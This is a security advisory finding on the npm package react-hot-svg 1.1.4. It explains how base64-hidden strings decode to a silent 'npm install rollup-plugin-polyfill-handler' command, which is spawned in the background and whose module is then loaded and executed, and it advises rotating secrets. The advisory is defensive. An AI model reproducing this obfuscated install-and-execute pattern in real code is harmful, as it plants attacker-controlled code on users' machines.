## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named \`svgValidateKey\` and \`svgValidatePattern\`. When any of the exported API surface (\`getPlugin\`, \`setPlugin\`, \`validateSvgContent\`) is invoked, the code decodes \`svgValidateKey\` via \`atob\` to the string \`npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund\`, spawns it via \`child\_process.spawn\` with \`stdio: 'ignore'\`, and on process exit \`require()\`s the base64-decoded module name \`rollup-plugin-polyfill-handler\` and immediately invokes its \`.getPlugin()()\` function. The \`--no-save --silent --no-audit --no-fund\` flags suppress output and prevent the added dependency from appearing in package.json or the lockfile. The obfuscation of both the command and the required module name, the SVG-themed cover identifiers, and the pattern of installing-then-requiring-then-executing an undeclared external package match a dropper that lands and executes attacker-controlled code from a separate npm package on any consumer who uses this library's advertised API.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
